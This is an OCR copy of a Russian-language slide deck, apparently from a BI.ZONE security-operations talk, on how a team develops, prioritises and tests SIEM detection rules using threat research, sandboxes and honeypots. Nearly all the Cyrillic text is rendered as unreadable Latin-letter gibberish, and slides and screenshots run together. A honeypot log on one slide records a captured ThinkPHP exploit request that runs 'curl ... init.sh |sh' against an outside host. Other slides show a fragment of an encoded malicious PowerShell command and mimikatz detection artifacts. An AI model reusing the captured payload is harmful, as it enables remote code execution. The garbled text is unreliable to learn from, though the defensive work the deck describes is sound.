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HeMHoOro o cebe

* PykoBogutenb SOC B Bl.ZONE

« Ex- pykoBogutenb SOC R&D B Kaspersky
« Ex-aHanutnk SOC

« Ex- kopnopaTuBHbIN 6€30MacHmK

* Ex- cMCTEMHbIN agMUHUCTPATOP

« Threat Hunter

« ZeroNights / PHDays / OFFZONE cniukep
« GIAC GCFA, GXPN

« Twitter @HeirhabarovT

« heirhabarov@gmail.com
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MCTOYHUKN «TOTOBbIX» NMPaBnJ1 KOppenaumnm %/;} BI.ZONE

NCTO4YHMKM rOTOBbIX NpaBui:
« Kopobosuble npaBuna SIEiI oT BEHAOPA;
« Market Place SIEM seHfopa;

* BeHnpopoHesasucrimble Market Places;
(Hanpwumep, SOC Prime)

* Periosutopum Sigma;

« [lpoune Ny6/INYHbIE UCTOUYHUKMN.
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Basic

BpyTdopchl;
JlobaBneHune
nonb3oBaTens B
NPUBUIErMPOBaHHYHO
rpynny,
HeobpaboTaHHbIN
BPEAOHOCHbIN OOBHEKT;
NMpMeHeHMe N3BECTHbIX
cpeactB RAT,;

ObpalleHuns K
BPE€AOHOCHbIM XOCTaM;

KaTteropuu npasu Koppenaunu

BI.ZONE Use-Cases Library

Compliance-Oriented

N3meHeHne npaBs
aoctyna Ha b/l c
AaHHbIMUN fiepXaTernen
NaaTEXHbIX KapT;

Customer-Specific

N3meHeHune
KOHUrypauum B o6xon
npoLeaypbl yrnpaBreHns
N3MEHEHUAMMU;
JlobaBreHne HOBOM

Y3/rpynnbl B 06xog IDM;,
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Threat-Oriented

[MoBbilweHMe npuBUIEruin
yepes ya3BUMble
cepBMUCbl;

MonbITKM MCNOMb30BaHUS
Credentials Dumping
YTUNT,

MonbiTKa 3arpysku web
SEl

HetaHKLMOHNPOBaHHAS .

‘pennukauus 6a3b)

faHHbIX AD;



Pa3paboTka npaBua koppensaumm B B.ZONE %@} BI.ZONE
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HanonHeHnne Backlog-a Ha pa3paboTky

npaBuJl

Twitter
Bnoru
KoHpepeHumm no Ub
My6nunyHble/NpuBaTHbIE OTYETHI 06 yrpo3ax
[MpakTuMka aHanM3a 3almnLLEHHOCTH
MNpaktnka DFIRMA
MNpakTuka MmoHuTopuHra / Threat Hunting-a
MNpakTuka Purple Teaming

Jlorn noyuek (honeypot)

—

Tl

Telegram/Email

Bot

SOC Analyst (T3)
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Npew npaesuna gna SIEM/TH B Backlog

N3meHeHnss KOHPUrypaumoHHbIX
dannos Sysmon/EDR

3anpocbl Ha gopaboTky EDR

HanonHeHue 6a3bi Tl
HanonHeHue 6a3bl 3HaHU no TTP

N3meHeHus B pipeline-e 06paboTkm

ﬁ ﬁ TenemMeTpum
)\

Key Summary

Threat Research Backlog |

Status

CSS-3047 Is Emotet gang targeting companies with external SOC?

qu Hoe CSS-3019 Windows Error Reporting Manager arbitrary file move
Elevation of Privilege (CVE-2019-1315) - Almond

3aBefgeHune Offensive Security Blog

3a4a4y B Back|og CSS-2943 MWccneposanue ytunutel BloodHound

CSS-2895 Shhmon — Silencing Sysmon via Driver Unload - Posts
By SpecterOps Team Members

CSS-2730 Talos Blog: China Chopper still active 9 years later

DONE

IN PROGRESS

IN PROGRESS

IN PROGRESS

Components

Threat Research

Threat Research

Threat Research

Threat Research

Threat Research

Status description

AHanu3 nposeaeH. CM. pesynbrar - https:// I/ pages/viewpage.action?pageld=73605723

Yrunuta uccneposana. PazpabotaHbl npasun win_possible_domain_recon_via_adsi,
win_bloodhound_file_artefacts. Takxe chopMupoBaHa KoHUenuus ucnons3osaxus Deception
noaxoaa ANs BbiIABNEHUSA UCNONb3OBaHMA B ceTu Bloodhound

Y Hac ecTb xaHTb! "win_security_tool_driver_unload" v "MonsbiTKa Bbirpy3nTh ApaiBep NOMOLLbIO
ytuamtol fitme". HyXxHo caenars 3BpUCTUMKY Ha Bbil PY3Ky Apaisepa nocne sanycka npouecca ¢ high
integrity level u HazaHavyeHWeM eMy NpuBMNErun OTNaaKu

https:// SN display/SOC/27.08.2019+-+China+Chopper+still+active+9+years+later




AHanun3 twitter/610ros/BbiCTYNAEHNI U T.M. %/;} BI.ZONE

@ I /| CSS-2800
© Initial Metasploit Exploit Module for BlueKeep (CVE-2019-0708)

& Edit Q Comment Assign  More v In Progress

v Details
Type: Task Status: EENT (view Workflow)
Priority: Medium Resolution: Done

Component/s: Threat Research Security Level: SOC Team

Labels: 3line from: ipEyEEnEyEE——— threatintel

Status description: BbinonHern aHanus nybnuuHo pocrynHoro akcnnoura. ChopmmposaHbl 3apaum Ha paspaboTky AeTekTUpyiowmnx npasun

Description
https://blog.rapid7.com/2019/09/06/initial-metasploit-exploit-module-for-bluekeep-cve-2019-0708/

https://doublepulsar.com/bluekeep-exploitation-activity-seen-in-the-wild-bd6ee6e5992a6

MonbiTkK nogkntoyeHua K RPD ¢o cny4yaiHo CreHepupoBaHHbIM UMEHEM NoNb3oBaTens U goMeHa:

L‘L Event Propftbn - Event 1149, TerminalServices-RemoteConnectionMan.. kj Event Properties - Event 1149, TerminalServices-RemoteConnectionMan...

General  Details General Details
{l ;
Remote Desktop Services: User authentication succeeded: |Remote Deskiop Services: User authentication succeeded:

User: KLUHTTF {User. 21alPTg

Domain: FCIOtnW {Domain: CEqauwN

Source Network Address: 10.0.0.66 |Source Network Address: 10.0.0.66
I

Log Name: Microsoft-Windows-TerminalServices-RemoteConne Log Name: Microsoft-Windows-TerminalServices-RemoteConnec
Source: TerminalServices-R Logged 11/6/2019 2:30: Source: TerminalServices-R Logged: 11/6/2019 2:31:
Event 1149 Task Category: None Event 1149 Task Category: None

Level Infarmatinn Keywords: Levet Infrermatine Keywords

v lIssue Links

MosepeH4Yeckue aeTekTbl AV Ha CUCTEMHbIe NPOoLeCcChl:
& 11/6/2019 2:57:06 AM : O6HapyxeH BPeAOHOCHBIH 06beKT relates to
Mporpauva: - Spooler Subsystem App £85-3242 CpabaTbiBaHne NnoBeaeHYeckux aetTekToB AV Ha cuctemMHble npoueccsl. Lateral Movement, T1210: Exploitation of Remote Services DONE

Nousotaress:  win7x64\admin (ATnesasd NOMI08ITEM)
Komnowesr:  3awmra o1 mcnsofios

Pesyastar.  Obmapymeno: POMExploitWin3 2. Generi £SS-2882 < g
g T e Mpasuno Ha nonbITKy akcnnyatauuu BlueKeep Hap BepamkTamun PaloAlto/FortiNet/CheckPoint DONE
Npwaia:  Noseseriscxvit snasws

s bt s % csS-3244 MNopoxaeHve cmd cucTeMHbIM NPoLEccoM (spoolsy, Isass v T.n.) DONE

Xew: af0a8506627983878dc1c663811ceb1ctcal012dcO561841878b7b82dbI3<651

CSS-3240 O6Hapy>xeHue noTeHumnanbHo Hebe3onacHoro cepsuca B ceTeBoM nepumetpe (445, 3389) WAITING

3anyck npoueccom spoolsv nHtepnperatopos cmd/PowerShell:
CSS-3243 Bxopsiuas nonbiTka RDP nogkntoveHnsa nog Y3 U3 HeTUNUYHOro AoMeHa (peTekTupoBaHue BlueKeep - CVE-2019-0708) NEW




AHann3 NnybIMYHbIX OTYETOB
06 yrpo3sax/aTtakax

Analyse Notes

"The following image shows the auto-run created object before the Drop’n Execute. The analysed variable in the following image is the c0639047895c6 which, in that specific run,
holds the Win32_ProcessStartup created Object for fulfill persistence on the victim machine."” - cTapT opuUCHbIM NpunoxeHneM npouecca yepes WMI (Win32_ProcessStartup):

CSS-3048 - Ctapt npunoxeHuem MS Office npouecca yepe3s WMI  NEW

SEN-2813 - lo6aBuTb cobbiTUa Ha ucnonHeHue npoueccom WMI-komMaHnab NEW

"Once the dropper assured the persistence and to run during the start-up, it carves from itself the following powershell script. The script runs an encoded string hiding the
dropping ULRs." - 3anyck 3akoaupoBaHHoro B base64 kopa ¢ nomolubio PowerShell EncodedCommand:

CSS-3034 - Mpasuno petektupoeanus PowerShell Encoded Command WAITING

"The base64 decoded string shows a romantic foreach statement looping through a list of compromised websites hosting the real payload :
de6a8b8612b5236al8eealaba8f53e117d046cf2ad95e079a6715af6818d2216 (VT 6/69). It finally saves the dropped file in a userprofile location as placed in the variable
xc@x57b38b2x7, before running it." - cosgaHue ucnonHsemoro daina uHtepnperatopoM PowerShell. Celiyac cooTBETCTBYOWMIA AETEKT MOXHO cAeNaTbh TObKO MO pacliMpeHuHo.
B nepcnekTuBe, Koraa 6yaet peanusoBaHo fobasneHue file magic B cobbiTus co3paHus/usmeHeHus daiina BI.ZONE EDR, Heobxoaumo 6yaeT yyecTb U magic:

SEN-2617 - Onpefensartb TUN co3gaBaeMoro ¢aitna u npucbinaTtb 3Ty UHGOPMaLMIO B COOTBETCTBYIOLLMX COBBITUAX  NEW

CSS-3051 - Co3pgaHue ucnonHsemoro daiina uHtepnpetatopom PowerShell | NEW

Summary
Report Name

Report Link

Possible Threat Actor
Publisher

Report Publication
Date

Initial Access

Exploited
Vulnerabilities

Analysed by

Parent Jira Task

Publication Analysis
Progress

Is Emotet gang targeting companies with external SOC?

https://marcoramilli.com/2019/10/14/is-emotet-gang-
targeting-companies-with-external-soc/

Emotet
Marco Ramill

1 14.10.2019

Spear-phishing with macros document attachment
(masquerading as SOC weekly report)

@Kheirkhabarov Teimur

£SS-30647 - Is Emotet gang targeting companies with
external SOC? DONE

10Cs to ThreatVision
B TTP Analysis

Observed MITRE Techniques

PRE-ATT&CK Techniques

Initial Access

Execution

Persistence
Privilege Escalation
Defense Evasion

Credential Access

Discovery
Lateral Movement
Collection

Command and Control

Exfiltration

Impact

T1193: Spearphishing Attachment

T1086: PowerShell

T1064: Scripting

T1204: User Execution

T1047: Windows Management Instrumentation

T1050: New Service

T1045: Software Packing

T1214: Credentials in Registry
T1081: Credentials in Files

T1071: Standard Application Layer Protocol
T1105: Remote File Copy

T1041: Exfiltration Over Command and Control Channel




BoibepuTe tool gns nameHeHus

iccnepoBaHue MHCTPYMEHTOB

ApTedaKTbl, KOTOPble MOTryT 6bITb NCNONIb30BaHbI A
NleTEKTUPOBAHMUS

Drivers/Services/Pipes:

File artifacts:

Company name:

File description:

Drivers:
mimidrv.sys (file_sig:"Benjamin Delpy"”)

Services:
service_display_name:"mimikatz driver (mimidrv)"

mimikatz.exe

mimilove.exe

mimilib.dll

mimidrv.sys

mimikatz.log, sekurlsa.log, kiwidns.log, kiwifilter.log, mimilsa.log
= kirbi

PowerView (powershell)

PowerSploit
(powershell)

Invoke-mimikittenz
(powershell)

Windows Packet Divert
(WinDivert)

Invoke-Mimikatz
(powershell)

Rubeus
BloodHound (Ingestor)

dump.exe

gentilkiwi (Benjamin DELPY)

mimikatz for Windows

TTOKpbITME MHCTPYMEHTA TeKyLLMU
npaBunamMm

Covered by hunts:

PRIMARY CATEGORY COMPANY NAME

Discovery

Execution

Credential Access

Discovery

Credential Access

Credential Access
Discovery

Credential Access

OocTtynHbie covered by hunts @

Q

Unauthorised MS Exchange transport agents configuration file
Using RundlI32 to invoke function from DLL by ordinal number
None (win_persistence_via_dhcp_callout_dll_setup)

None (win_dhcp_calloud_dll_loading_fail)

None (win_possible_addition_dcsync_rights_via_domaindns_ot
Using RundlI32 to execute code from library with unusual exten
None (win_security_tool_driver_unload)

None (None)

Using PowerShell for downloading of files/scripts from externa
None (win_screen_capture_with_standard_cli_tools)
Credentials dumping tools named pipes creation (win_credentiz

Suspicious access to Isass process memory from UNKNOWN s
Suspicious access to Isass process memory (win_suspicious_|
Credentials dumping tools file artifacts (win_credentials_dumpi

Credentials dumping tools prefetch files creation (win_credenti: §

Mimikatz command lines (win_credential_dumping_mimikatz_c
Mimikatz command line (Discovery) (win_discovery_mimikatz_:
Credentials dumping tools binary files (win_credential_dumpinc

O Ypanutb Bce

Bbinonuuts

INTERNAL NAME

Rubeus.exe

SharpHound.exe




Threat Hunting Sandbox 7>r BL.ZONE

Lo

thread_hunting_sandbox_bot ﬂ Jo-hn Lan.lbert @JohnLaTwC - ZJ OKT.
bt 4 > This evasive macro doc can't hide from the sandbox. Just

run it with its original name 'Review1009.doc' else it does nothing!

Today

Heirhabarov Teymur

thread_hunting_sandbox_bot

Please, choose system

You choose Win10_x64.
Please, enter working time in seconds (from 120 to 320)

thread_hunting_sand!
Time is correct.
Please, enter file hash or send file to bot

Heirhabarov Teymur

58a1f778e19370ddaefea2f30a6¢c63e8

thread_hunting_sandbox_bot

Heirhabarov Teymur

58a1f778e19370ddaefea2f30a6c63ef c_submission_id event_type proc_p_file_path file_path
Time cmdline

Your file successful upload!

A ; iy (e Oct 15, 2019 @ 12:39:40.504 ProcessCr C:\tmpwokvl2\  "C:\Program Files (x86)\Microsoft Office\Officel15\WINWORD.EXE" C:\Users\ADMINI~1\AppData\Local\Temp\61
thread_hunting_sandboX_bot eate bin\inject-x8  25489453c1824da3e28a54708e7¢77875e500dd82a59¢96¢1d1e5ee88dcad7 . doc
Link on sysmon events in Kibana: 6.exe

® 6202 62 O

Oct 15, 2019 @ 12:40:00.092 ProcessCr C:\Windows\Sy powershell -enco PAAjACAAaABBAHQAcABzADoALWAVAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBMAHQALgBjAG8AbQAVACAAIWA+A

eate stem32\wbem\W  CAAJABiAGIAMQAGADcAeAAWADgAMABjADIAPQANAHgAMgA3ADMAMAATADAAMWBjAGIAMAA2ACCAOWAKAGIANQB4ADAAYWABGAGMANGB

miPrvSE.exe 1ADMANAA4ADgATAA9ACAAJWA4ADUANGANADSAJABjAGIAMAATAGMANgATADEAMABjADAAMAA3ZADOAJWB jADAAMQA4ADMAMAASAHgAM

Link on EDR agent events in Kibana: ABjADIAJWA7ACQAeABjADAAeAATADCAYgAZADgAYgAYAHgANWASACQAZQBUAHYAOGB1AHMAZQBYAHAACGBVAGYAaQBSAGUAKWANAFW

AJWArACQAYgA1AHgAMABjADQAYWA2AGIAMWAGADGAOAATrACCALgB1AHgAZQANADSAJABAADMAMAASADQAe AAWADKAYWAWAGIAMAA9A

CcAYwBjADAAOAAYADYAMAAY AHgAMWAXACCAOWAKAHgAYWAYAGMAMgASADUAe AAy ADAAOAAWADIAPQAUACGAJWBUACCAKWANAGUAdWA
tAG8AYgBqAGUAJWATrACCAYWBBACCAKQAGAE4AZQBUAC4AdWBF AETAQWBMAGKARQBOAFQAOWAKAGIAMAAWAGIAMQAZADCAMQAWADgAM

< " Oct 15, 2019 @ 12:40:47.074 FileCreat C:\User
. e s\Admin
istrato
r\856.e

xe




AHann3 noros Honeypot-oB

Do you have phpMyAdmin?

Yes!

v

A

Are you Wordpress? Drupal?

Yes!

v

A

/2test=ech0%201

Yes!

\ 4

A

Honeypot
Europe

Honeypot
USA

Honeypot
China

Give me content of real
phpMyAdmin

\ 4

P
<

...<title>sphpMyAdmin</title>..

) /71‘3

Events

=

phpMyAdmin app

o

Try to execute "echo 1”

@

Agent

— 5

Elasticsearch

»
»

Stdout: “1”

Sandbox

/

22|
’

[ -

SOC Analyst

7or BI.

eorpadwms noByLlek:

*  Wtanus g
» Poccus y
« Kwutan y
*  AnoHus .
+ Kopes *
*  WHauns

OCHOBHble QYHKLMK:

ZONE

BaxpenH
AHrnus
KaHaga
CLUA
ABcTpanus

*  amynauma Wordpress;

*  amynaumsa Drupal;

e BbinonHeHne PHP/Bash kopa B
necoyvHuue ansa amynaunu RCE;

«  ysi3BMMble npunoxenus (phpMyAdmin);

s 3MyNALMA BO3MOXHOCTM 3a/IMBKM web

shell-a.



[pimep cobbiTnA 13 ora Honeypot-a 1XF BIL.ZONE

geoip.accuracy_radius 50

geoip.city Beijing

geoip.country China

geoip.country_code CN

geoip.lat 39.929

geoip.lon 116.389

get.o A system

get.1 A curl -fsSL http://185.181.108.234/E5DBOEB7C3D7BE8OV520/init.sh [sh
get.function A call_user_func_array

get.s A /index/\think\app/invokefunction
headers.accept-encoding A gzip

headers.connection close

headers.host 35.183.102.86

headers.user-agent Mozilla/5.8 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
host 35.183.102.86

id 2eecb6de-4037-44b4-8c26-0c728caca825
ip 203.195.129.91

location 39.9288,116.3889

method GET

path /TP/public/index.php

post A

protocol http

raw GET /TP/public/index.php?function=call_user_func_array&s=%2Findex%2F%5Cthink%5Capp%2Finvokefunction&vars%5B8%5D=system&vars%5B1%5D%5B%5D=curl+-fsSL+http%3A%2F%2F185.181.10.234%2FE5DBOEQ7C3D7BE8BOV520%2Fin
it.sh+%7Csh HTTP/1.1
Host: 35.183.102.86
Connection: close
Accept-encoding: gzip
X-honeypot-client-proto: http
X-honeypot-client-ip: 203.195.129.91
User-agent: Mozilla/5.8 (Windows; U; Windows NT 6.8;en-US; rv:1.9.2) Gecko/2081008115 Firefox/3.6)

@ timestamp Nov 12, 2019 @ ©8:52:41.000

t user_agent Mozilla/5.8 (Windows; U; Windows NT 6.8;en-US; rv:1.9.2) Gecko/201008115 Firefox/3.6)




[TpaKTHKa %/;} BI.ZONE

J)EHHero cermMeHTa

APM

11. Mimikatz
(Obtaining DA
account)

Tier3 SOC
aHanTUK

APM
afIMMHWUCTpaTopa



NccnenoBaHMA MCTOYHUKOB COBbITUIA

UcTOoYHUK

%SystemDrive%\inetpub\logs\LogFiles\W3SVC1

*2 PeecTp Windows Ha KNWEHTCKOW MaluuHe

C:\Program Files\Microsoft\Exchange Server\V15\Logging\Ews

OnucaHue cobbiTus

[aHHoe cobbiTue
OnuCbIBaeT NOMbITKY
HeyfayHoro sxoaa
nonb3oBaTens.
YacTtoe
BO3HUKHOBEHMWE
noao6Horo cobbiTus
C ofHOro source ip
MOXeT roBOpUTb O
brute force atake.
Tpurep - nosBneHue
[aHHOro cobbITUS
6onblue 5 pas B
MUHYTY.

[aHHoe cobbiTue
onucbiBaet
pepakTupoBaHue
¢OyHKUMOoHana "Home
Page" Outlook.
3n0yMblLAEHHUK
MOXET YCTaHOBUTb
3HaveHue "Home
Page" yka3saB Ha
chOopMUpPOBaHHYIO
cTpaHuuy co
ckpuntoMm. Korga
nosnb3osaresb
oTkpoeT Outlook
BbINONHsETCA
BPEeAOHOCHbI VBA
ckpunt

3110y MblLUNEHHMKA.
Tpurep -
cpabaTbiBaHue
CO6bITUI N3MEHEeHUS
BETOK peecTpa

[aHHoe npasuno
onucbiBaeTt
fleTeKTupoBaHue
nonyyeHue GAL ¢
MOMOLLbIO YTUANTDI
MailSniper. Takum
obpasom

3110y MbILLNEHHUK
MOXET Nony4unTb
CMUCOK BCEX afipecoB
MOYTOBbIX ALUUKOB.
Tpurep -
cpabaTbiBaHue

7>r BL.ZONE

Mpumep cobbiTus

)2019-06—19 15:40:42 fe80::9d06:ac4b:ecd0:8d76%12 POST /owa/auth.owa &Clientld=CC8DD69231F64E688E5CD471CCE2E51D&CorrelationID=<empty>;&cafeReqld=40bf3cda-9621

HKEY_CURRENT_USER|Software|Microsoft|Office|<version>|Outlook|WebView|Inbox co 3HayeHnem URL - BknloyeHue pyHkuum "Home Page"

HKEY_CURRENT_USER|Software|Microsoft|Office| <version>|Outlook|Security co 3HauyeHue EnableRoaming folderHomepages yctanaenusaetcs B 1 - ycTaHoBka 3HayeHus "Home Page"

019-09-18T23:03:23.900Z,f69266f4-b323-4c21-9085-38dd14d596¢2,15,1,1591,10,Unknown,,Negotiate, true,a-margaretti@evilcorp.com,evilcorp.com,ExchangeServicesClient/15.00.04
9f1b97387d25;ResponseTime_0=31;SoapAction_O=ResolveNames;, SKU=Unknown;App_BeginReq_Start=0;App_BeginReq_End=0;GetHandler_Start=1;RequestHandler=Wcf;GetHandler_E|
dc5]=2;F:ADS.AL[exchange-dc5]=1.429878;I132:ROP.C[exchange-dc5.39bb1067-4707-4acf-a7c8-6ac724f94de2]=5374737;132:MAPI.C[exchange-dc5.39bb1067-4707-4acf-a7c8-6ac
DC5]=0;Dbl:BudgUse.T[]1=15.6090002059937,,ExceptionHandler_Execute=Microsoft.Exchange.Services.Core.Types.ErrorNameResolutionNoResultsException: No results were found.



A €C/IN HET HY>KHbIX COBbITH 7>r BL.ZONE
ONA neTeKTUpoBaHUA Yrpo3bl?

Analyse Notes

“The following image shows the auto-run created object before the Drop’n Execute. The analysed variable in the following image is the c0639047895c6 which, in that specific run,
holds the Win32_ProcessStartup created Object for fulfill persistence on the victim machine." - ctaptT odUCHbIM NPUNOXEHUEM Npouecca yepe3 WMI (Win32_ProcessStartup):

SEN-3167 [o6aBuTb cobbiTve Ha fOCTyM/YTeHune npoleccom davina (n CSS-3048 - Crapt npunoxeHuem MS Office npouecca yepe3z WMl NEW

Key Summary

SEN-2859 CobbiTe Ha BbinonHeHue npoueccom LDAP-3anpocos

@ @@ -

SEN-2198 [o6aBneHue cBefeHunin o nognucu ucnonHseMoro daiina B cobbiTUs cTapTa npoiecca / 3arpysku gparisepa u 6ubnuortekn / IN PROGRESS | ThreatHunting
co3paHua danna

SEN-2196 [Jo6aeut HoBOe cobbiTue B RegistryMonitoring Ha ucnonb3oBaHue RegSaveKey IN PROGRESS | ThreatHunting

SEN-3035 O6orauieHue cobbiTUi, BbINONHAEMbIX Npoleccamu B ceTeBbix/RDP ceccusax, IP/uMeHeM XocTa, ¢ KOToporo ceccust 6oina NEW ThreatHunting
MHULMMPOBaHA

SEN-2199 B Habop nonei ProcessMonitoring no6asutb npuaHak o Hanuunmu B AccessToken npouecca/pogMTenbckoro npouecca ThreatHunting
onpepenénHbix SID-oB

@

SEN-2835 CobbiTue 3arpysku npoueccom .NET cbopku ThreatHunting

SEN-2833 CobbiTvsa ans oTcnexuvBaHus atak ¢ ucnonb3osaHmem PowerShell ThreatHunting

@ @

SEN-2830 CobbiTue Ha 3anucb npoueccom B MBR/VBR TH.FileMonitoring,
ThreatHunting

O]

SEN-2616 He 3anonHai0TCs CBEAEeHMS 0 poauTene ans npoueccos, NOPOXAEHHbIX CUCTEMHbIMU NpoLLeccamMu, 3anyLeHHbIMY 40 ThreatHunting
ctapta TH areHTa

ThreatHunting

SEN-2783 Ha 6a3e cywectsytouwero WFP ¢unbtpa peanusosatb pasbop HTTP-Tpadpuka TH.NetworkMonitoring,
ThreatHunting

@ @

SEN-2784 [na TLS coeguHeHuit cuntaTth JA3/JA3S xewwu TH.NetworkMonitoring,
ThreatHunting

@

SEN-2740 BctpauBaHue B TH-areHT yara-aBuxka ThreatHunting

@

SEN-2724 B0O3MOXHOCTb MOJfy4YeHus cTeka BbI30BOB NOTOKAa Ha NPOU3BONIbHOM COBbITMM (COrnacHo KOHGUrypauuoHHbiM dainnam) ThreatHunting




O6paboTka Backlog-a Ha pa3paboTky NpaBua %z’ BI.ZONE
Koppenaumm

06eyxaeHune
dopmMmupoBaHue i
Mpuoputesauunsa . a2 0COGEHHOCTEMN PaspaboTka u
npuHTa (2-yx
BackLog-a P Y peanusauuu npasun, TecTUpoBaHue rnpasus

HefenbHble
A ) BbI6GPaHHbIX Ha CMPUHT

Kputepun npuoputesaummn BackLog-a:
* MoXenaHuA 3aKa34ynKos; C/IOXXHOCTb peanusaunu,

o * NnoTeHuyunasibHaa «TOYHOCTb» pa6OTbI NnpaBuia,
* aKTyaJIbHOCTb COOTBETCTBYHOLLUEN YIPO3bl, ’ ; ]
BCTPeYaeMoCTb in-the-wild: * BO3MOXHOCTb ,D,OCTM)‘KGHMH qU|Ck wins,

"« PacnpoCTPaHEHHOCTb COOTBETCTBYHOLLMX ;. HOSMOXHOCTb peanusaui HeckonbKIX Npasun Ha
MCTOYHMKOB Y 3aKa3uNKOB; ., &, - 0a83e04HO[ONCTOURMKE.



Mcnonb3oBaHue Jira osa ynpaBaeHns 7X»r BI.ZONE
Backlog-om n cnpnHTamm

Backlog 143 issues - 20 Create Sprint

<]

CSS-2852 [letekTupoBaHue cpeacTeamu Palo Alto HecaHKUMOHMpPOBaHHOM pennukauum B k...

> UseCases 23.09.19 - 07.10.19 27 issues - 0 ® 3013

(<

CSS-2267 MNpaBuno geTekTMpoBaHU CO34aHua Nnoao3putensHoi popmbl Outlook
QQ e 27/Sep/19 11:18 AM » 11/0ct/19 11:18 AM View linked pages

<]

CSS-2269 MpaBuno geTekTMpoBaHo co3gaHus nogo3putenbHbix Outlook Home Page

<]

CSS-2250 3anpoc akTUBHbIX NONb30BATENbCKMUX CECCUIN Ha yaaneHHOW MaluvHe

v UseCases 07.10.19 - 21.10.19 13 issues - 0 ™ X503

<]

CSS-2328 lMpopaboTka cueHapus "He ycTpaHeHUe KpUTUYeckux ys3sumocTei 6onee X gHel Ha onpeaeneHHbIX Xoc... 6

@

© -+ 07/0ct/19 3:54 PM « 21/0ct/19 3:54 PM View linked pages

<]

£SS-2233 DCSync ()

<]

CSS-2623 Maccosoe ypaneHue Prefetch-daitnoe HeTunnyHbLIM Npoueccom

<]

CSS-2620 Ucnonbvsosaxnue mshta ans ucnonHeHns yaanesHoro hta

<

CSS-2251 MonyyeHune 3anuceint katanora LDAP

<]

CSS-2698 Wcnonb3osaHue regsvr32 Ana UCNONHEHUs CKPUMNIETa Mo CCuinke

<]

CSS-2256 lMpaBuno AeTeKTMPOBaHUA MHOXECTBEHHOI0 AOCTYyNa K CTpaHuuaM B pa3Hbix crericax Confluence

a8

CSS-2717 Ucnonb3oeaHue yTunutol Rundli32 ans ehinonHeHus inline-ckpunTa (js/vbs)

<]

CSS-2327 MNpopaboTka cueHapus obHapyXeHus He fAoMeHHbIx MK

<

CSS-2700 3anyck ynaeneHHoro msi gainna ¢ ucnosib3oBaHneM yTuanuTol msiexec
CSS-2258 MHoxecTBeHHbI git clone npoekTos gitlab

(<]

CSS-2699 ObHapyxeHue atakm Regsvr32 squiblydoo

<]

CSS-2259 lMpaBuno Ha geTekTMpoBaHWe [OCTyna K NpoekTy gitlab c Hepa3speleHHOro xocTa N HepaspelleHHon Y3 Q

<]

CSS-3028 Ucnonb3oeanue Rundll32 pns Bbi3oBa ¢yHKUMM M3 DLL-6MBAMOTEKM NO NOPSAKOBOMY HOMEPY

<]

CSS-2260 MHoXecTBeHHas Bbirpy3ka goKyMeHToB u3 Sharepoint e

a

CSS-2684 Suspicious PowerShell - Download Cradles

<)

CSS-2261 MNpasuno Ha geTekTupoBaHue Bbirpy3sku Global Address List B Outlook m

(<]

CSS-3034 Npaesuno pgerektuposanus PowerShell Encoded Command
CSS-2265 Oetekt DCShadow no LDAP u aseHTam ¢ DC

<]
<]

CSS-2611 UcnonHeHue PowerShell-oM 3akoauposaHHoro B Base64 koga (FromBase64String, X509Enroliment COM)

000000 DO
<

<]

CSS-2266 lMpaBuno getekTMpoBaHua cosgaHus npasuna Outlook, 3anyckatouero CKpUNT UM UCnonHsieMblit dain n... m

(<

CSS-3036 YcnewHbi ceTeBow NOroH ¢ ogHoro IP Ha MHOXEeCTBO XOCTOB

<]

CSS-2718 3anucb npoueccom B MBR/VBR

<

CSS-3037 YenelwHblii aAMUHUCTPaTUBHBIIA CETEBOW NOroH ¢ 0AHOro IP Ha MHOro XOCTOB

(<

CSS-2680 Ucnonb3oBaHue certutil ong gekoguposaHus ¢ainos

(<]

CSS-2634 WUcnonb3osaHue mshta ans eoinonHexus ckpunta (vbscript/javascript), nepeaaHHoro B KOMaHAHOW CTPOKe 9

(<

CSS-2941 3anycK NPOLECCOB, MMEHA KOTOPbIX NOXOXY Ha cUCTeMHbie (conhost, explorer, svchost 1 T.4.) G CSS-2489 CpabaTbiBaHue nosefeH4Yeckoro getekta Ha powershell. Execution, T1086: PowerShell Host AV Use Cases

<]
<]

CSS-2494 MosepeHuckMe AeTekTbl Ha npouecchl npunoxeHuin MS Office. Execution, T1204: User ... RalE i\ AVEERe

(<)

CSS-2644 [leteKkTupoBaHue NepechbUikn NUCeM Ha BHeLlHWe agpeca

(<)

CSS-2832 MpaBuno Ha AeTeKTUpOBaHUSA UcYepnaHus nyna g4ocTynHbix Ansa soigayun IP-agpecos (Windows)




DTanbl pa3paboTkn npaBuia Koppenaunm

In3ainH npaBuna

[NoarotoBkKa
cTeHaa

Peanusauuma B TH
nnatdopme

PaspaboTka TecT-
Kenca

Perunctpauusa B TecToBas
Use-Case nopTtane aKcnnyaTauus

Peanusauus B
QRadar

Peannsaunsa B NFT
(Suricata/Zeek)

7>F BI.ZONE

[NlocTaHOBKaA Ha
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PaspaboTka 3aKa34yuKoB

Playbook-a



XPaHeHue nNpaBun n nx MeTa,u,aHHb %/;} Bl.ZONE

N3meHuTb rule

epra—p——— (FE—————— (NI

Events description: PowerShell Logs:
Rule id: eb321759-bb1a-4799-a292-524ee6e1091¢c Windows PowerShell EventID 400

ProcessCreate:

Qr rule name: INC_0006800_common:Suspicious_Powershell_Encodedcommand_Windows S)fsmon EventiD 1 . .
Windows EventID 4688 (with command line)

Bl.Zone EDR EventID 40

Th rule name: win_suspicious_powershell_encoded_command

RegistryValueSet:
Sysmon EventID 13

Rule caption rus: WUcnonuenune 3akoguposarHoro B base64 PowerShell-koga ¢ ucnonbaosaxvem
EncodedCommand

External Tech Recon:

Rule caption eng: Execution of base64 encoded PowerShell code via EncodedCommand

Initial Access:

«qradar (None)

Execution: % T1086: PowerShell

Issue link: Ceitvac: https://jira.bi.zone/browse/CSS-3034

Mamenne:  https://jira.bi.zone/browse/CSS-3034 Persistence:

Confidence: Medium Privilege Escalation:

Severity: Defense Evasion: x

% T1027: Obfuscated Files or Information

Inc category primary: Suspicious Process Activity




TecTvpoBaHWe NPaBW KOpPPenaumm 7X>F BI.ZONE

Cnocobbl TeCTUpOBaHMA

npasun
OMyNAUNA aKTUBHOCTU «[1povrpbiBaHne» paHee «[MpourpbiBaHMe» gamMna
Ha MCTOYHMKAX COObITUN COXPaHEHHbIX CObbITUI ceTeBoro Tpadmka

» [IpoBepka = IMynaumsa » TecTupoBaHue npasu
KOPPEKTHOCTU aKTUBHOCTEN, AN Hag cobbITUAMM
HaCTpOeK ayauTa; KOTOpPbIX TpebyroTcs NFT/IDS/IPS;

